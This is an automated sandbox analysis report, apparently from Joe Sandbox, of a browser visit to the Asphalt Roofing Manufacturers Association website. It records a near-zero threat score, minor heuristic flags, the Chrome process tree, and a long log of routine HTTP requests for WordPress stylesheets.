Edit tour

Windows Analysis Report
http://www.asphaltroofing.org

Overview

General Information

Sample URL:	http://www.asphaltroofing.org
Analysis ID:	1430443
Infos:

Detection

Score:	1
Range:	0 - 100
Whitelisted:	false
Confidence:	80%

Signatures

HTML title does not match URL

Suspicious form URL found

Classification

Process Tree

System is w10x64

chrome.exe (PID: 6932 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 4180 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2316 --field-trial-handle=2220,i,10817936137381034529,2342672398498083502,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 5948 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://www.asphaltroofing.org" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

There are no malicious signatures, click here to show all signatures.

Source: https://arma1.memberclicks.net/login#/login

HTTP Parser: Title: Asphalt Roofing Manufacturers Association does not match URL

Source: https://arma1.memberclicks.net/login#/login	HTTP Parser: Form action: /index.php?option=com_search
Source: https://arma1.memberclicks.net/login#/login	HTTP Parser: Form action: /index.php?option=com_search
Source: https://arma1.memberclicks.net/login#/login	HTTP Parser: Form action: /index.php?option=com_search
Source: https://arma1.memberclicks.net/login#/login	HTTP Parser: Form action: /index.php?option=com_search
Source: https://arma1.memberclicks.net/login#/login	HTTP Parser: Form action: /index.php?option=com_search
Source: https://arma1.memberclicks.net/login#/login	HTTP Parser: Form action: /index.php?option=com_search

Source: https://arma1.memberclicks.net/login#/login

HTTP Parser: <input type="password" .../> found

Source: https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3074.9087051686033!2d-76.38923968536142!3d39.58420787947054!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x89c7deca80605a75%3A0x40f16da73e2ec504!2s2331%20Rock%20Spring%20Rd%2C%20Forest%20Hill%2C%20MD%2021050!5e0!3m2!1sen!2sus!4v1609858550960!5m2!1sen!2sus	HTTP Parser: No favicon
Source: https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3074.9087051686033!2d-76.38923968536142!3d39.58420787947054!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x89c7deca80605a75%3A0x40f16da73e2ec504!2s2331%20Rock%20Spring%20Rd%2C%20Forest%20Hill%2C%20MD%2021050!5e0!3m2!1sen!2sus!4v1609858550960!5m2!1sen!2sus	HTTP Parser: No favicon
Source: https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3074.9087051686033!2d-76.38923968536142!3d39.58420787947054!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x89c7deca80605a75%3A0x40f16da73e2ec504!2s2331%20Rock%20Spring%20Rd%2C%20Forest%20Hill%2C%20MD%2021050!5e0!3m2!1sen!2sus!4v1609858550960!5m2!1sen!2sus	HTTP Parser: No favicon

Source: https://arma1.memberclicks.net/login#/login	HTTP Parser: No <meta name="author".. found
Source: https://arma1.memberclicks.net/login#/login	HTTP Parser: No <meta name="author".. found

Source: https://arma1.memberclicks.net/login#/login	HTTP Parser: No <meta name="copyright".. found
Source: https://arma1.memberclicks.net/login#/login	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 20.25.241.18:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.221.242.90:443 -> 192.168.2.6:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.221.242.90:443 -> 192.168.2.6:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.25.241.18:443 -> 192.168.2.6:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 173.222.162.64:443 -> 192.168.2.6:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.25.241.18:443 -> 192.168.2.6:49868 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.25.241.18:443 -> 192.168.2.6:49970 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.25.241.18:443 -> 192.168.2.6:50117 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.25.241.18:443 -> 192.168.2.6:50252 version: TLS 1.2

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 49MB

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.25.241.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.25.241.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.25.241.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.25.241.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.25.241.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.25.241.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.25.241.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.25.241.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.25.241.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.25.241.18
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 20.25.241.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.25.241.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.25.241.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.25.241.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.25.241.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.25.241.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.25.241.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.25.241.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.25.241.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.25.241.18
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/content-views-query-and-display-post-page/public/assets/css/cv.css?ver=3.6.4 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/pt-content-views-pro/public/assets/css/cvpro.min.css?ver=5.1.2.2 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-includes/css/dist/block-library/style.min.css?ver=6.0.7 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/woo-gutenberg-products-block/build/wc-blocks-vendors-style.css?ver=8.7.4 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/woo-gutenberg-products-block/build/wc-blocks-style.css?ver=8.7.4 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/tablepress/blocks/table/build/index.css?ver=6.0.7 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/pub.min.js HTTP/1.1Host: wds.wesq.meConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/essential-grid/public/assets/css/settings.css?ver=2.3.6 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/essential-grid/public/assets/font/fontello/css/fontello.css?ver=2.3.6 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/floating-top-link/css/floating-top-link.css?ver=1.0.5 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/jquery-collapse-o-matic/css/core_style.css?ver=1.0 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/jquery-collapse-o-matic/css/light_style.css?ver=1.6 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/revslider/public/assets/css/rs6.css?ver=6.2.2 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/woocommerce/assets/css/woocommerce-layout.css?ver=7.0.0 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/woocommerce/assets/css/woocommerce.css?ver=7.0.0 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/wp125/wp125.css?ver=6.0.7 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/wp-pagenavi/pagenavi-css.css?ver=2.70 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/woocommerce-gateway-paypal-express-checkout/assets/css/wc-gateway-ppec-frontend.css?ver=2.1.3 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/u-design/assets/css/frontend/layout/reset.css?ver=1.0 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/u-design/assets/css/frontend/layout/960.css?ver=1.0 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/u-design/inc/frontend/superfish-menu/css/superfish.css?ver=1.7.2 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/u-design/inc/frontend/prettyPhoto/css/prettyPhoto.css?ver=3.1.6 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/u-design/inc/shared/font-awesome/css/font-awesome.min.css?ver=3.3.8 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/fontello-icon-fonts/back-to-work-social-media-graphics/css/fontello.css?ver=3.3.8 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /wp-content/fontello-icon-fonts/back-to-work-social-media-graphics/css/animation.css?ver=3.3.8 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/u-design/assets/css/frontend/global/style.css?ver=3.3.8 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/u-design/assets/css/frontend/global/custom_style.css?ver=3.3.8.1713804094 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/u-design/assets/css/frontend/layout/responsive.css?ver=3.3.8 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
